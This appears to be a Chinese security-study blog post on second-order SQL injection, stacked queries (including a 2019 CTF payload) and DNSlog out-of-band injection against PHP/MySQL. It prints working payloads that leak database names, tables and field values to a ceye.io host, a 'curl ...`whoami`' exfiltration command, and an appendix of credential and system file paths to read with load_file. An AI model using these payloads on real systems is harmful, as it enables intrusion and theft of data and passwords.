安全 漏洞利用 第45天:漏洞利用-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件 Yatming的博客 2025-09-12 2025-08-10 二次注入
1 2 3 4 黑盒思路:分析功能有添加后对数据操作的地方(功能点)几乎不可能,干扰因素太多 白盒思路:insert后进入select或update的功能的代码块(一般都通过这个方式挖出来) 在前面学习PHP安全开发的时候,自己写了一个登陆页面,当时写的就有一个类似这个二次注入的问题,就是我在登陆和注册的地方都进行了预编译,但是在登陆的时候会进行一个echo输出一个弹窗(欢迎 xxxx 用户登陆),这里没有任何过滤,同时我没有对注册用户的用户名有敏感字符的过滤,只是对注册这个操作的时候有预编译,所以就导致了,攻击者只需要注册一个包含script的语句,就可以在登陆的时候造成一个存储型的xss。但是这个存储型又只能对自己有影响。
demo
首先注册用户,然后在登陆用户,让用户的cookie保存起来,然后再修改密码的时候因为采用的是cookie来判断是哪个用户,所以这里一定要登陆之后,在进行修改密码,才能触发你注册的恶意语句。
1 2 # 注册的用户名: 1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
修改密码的时候就将这条语句代入到数据库中进行查询。然后在进行修改密码。
局限性 1 2 3 4 5 首先实战利用的机会渺茫,需要先找可以注册,或者说可以插入恶意语句的地方,然后还要有其他sql语句对这个恶意的语句进行调用,才有机会进行二次注入 其次还有一种情况,就是我们在做二次注入的时候一般都会对后面的语句进行注释,但是如果对方原原本本将这个数据代入到数据库中进行插入,就会导致数据库根本插入不了,假设有username和password两个字段,在注册username的时候将恶意语句写到username的地方,然后将password字段注释了,那么数据库执行的时候会报错。所以就导致你的注入不成功,所以就像最开始的图片说的需要有一个转义,然后转义之后代入到数据库中又将这个转义符号去掉,才能正常进行注入 不是说没有,只是实战需要花费大量的时间在这个上面不断的测试,性价比不高
骑士CMS-二次注入
注意这个操作,必须在添加的时候进行注入,如果你是添加之后,然后通过修改的话,是完成不了这个操作的
堆叠注入 1 2 3 1.目标脚本代码中存在多语句执行函数(mysqli_multi_query)并对;号不过滤 2.目标数据库类型支不支持多SQL语句执行 支持堆叠数据库:MYSQL MSSQL Postgresql等
就使用php+mysql这种方式进行举例子:
1 用到的mysql执行语句都是下图这种,这样的话执行查询一条语句,也就不存在堆叠注入。所以堆叠注入出现的机会也会很少。
2019强网杯-随便注(CTF题型)
1 2 3 4 1';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; // 题目过滤select等关键词,所以将注入语句进行16进制编码注入
DNSlog带外注入 1 2 3 4 5 6 7 8 9 10 11 推荐平台: http://www.dnslog.cn http://ceye.io 当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码 https://github.com/BugScanTeam/DNSLog https://www.freebuf.com/column/184587.html 注入的条件: 1.root高权限且支持load_file()函数(mysql有个secure-file-priv配置会限制load_file函数) 2.windows系统(需要用到\号)为啥payload需要用到四个\\,就是因为数据库转义\
1 2 3 ping %USERNAME%.gfzkn3.ceye.io //%USERNAME%获取本地计算机用户名的 curl http://ip.port.b182oj.ceye.io/`whoami`
这里还有一些常用的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 select load_file(concat('\\\\',(select database()),'.gfzkn3.ceye.io\\aa')); and (select load_file(concat('//',(select database()),'.gfzkn3.ceye.io/abc'))) // 查询当前数据库 id=1 and load_file(concat("\\\\",database(),".gfzkn3.ceye.io\\asdt")) //查询其他数据库 //xxx.txt是随便输入的 id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 1,1),".gfzkn3.ceye.io\\xxx.txt")) //查询版本号 id=1 and load_file(concat("\\\\",version(),".gfzkn3.ceye.io\\xxx.txt")) //查询当前数据库demo01中第一个表名 id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".gfzkn3.ceye.io\\xxx.txt")) //查询security数据库emails表下第一个列名 id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".gfzkn3.ceye.io\\xxx.txt")) //查询字段值 数据库名为security 表名emails 列名id id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".gfzkn3.ceye.io\\xxx.txt"))
总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 这一章讲到的三种注入方式,利用条件都有些苛刻。实战情况下, 判断有注入点,一般直接就是sqlmap了,像二次注入这种sqlmap还跑不出来,二次注入一般都是白盒的方式出来。dnslog的利用方式需要secure-file-priv配置,这个配置,在我的环境里面是默认就没有(也就是默认就是关闭的),所以一般这个也用不上。 # 写入文件 A、必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)>0如果结果返回正常,说明具有读写权限。 and (select count(*) from mysql.user)>0 返回错误,应该是管理员给数据库账户降权 B、欲读取文件必须在服务器上 C、必须指定文件完整的路径 D、欲读取文件必须小于 max_allowed_packet 如果该文件不存在,或因为上面的任一条件而不能被读取,函数返回空,比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrator才能访问的文件,user就别想load_file出来
附录-常用文件路径 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 WINDOWS下: c:/boot.ini //查看系统版本 c:/windows/php.ini //php配置信息 c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 c:/winnt/php.ini c:/winnt/my.ini c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 c:\Program Files\Serv-U\ServUDaemon.ini c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 c:\Program Files\RhinoSoft.com\ServUDaemon.exe C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 //存储了pcAnywhere的登陆密码 c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 d:\APACHE\Apache2\conf\httpd.conf C:\Program Files\mysql\my.ini C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码 LUNIX/UNIX 下: /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 /usr/local/apache2/conf/httpd.conf /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //PHP相关设置 /etc/sysconfig/iptables //从中得到防火墙规则策略 /etc/httpd/conf/httpd.conf // apache配置文件 /etc/rsyncd.conf //同步程序配置文件 /etc/my.cnf //mysql的配置文件 /etc/redhat-release //系统版本 /etc/issue /etc/issue.net /usr/local/app/php5/lib/php.ini //PHP相关设置 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 /etc/sysconfig/iptables 查看防火墙策略 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))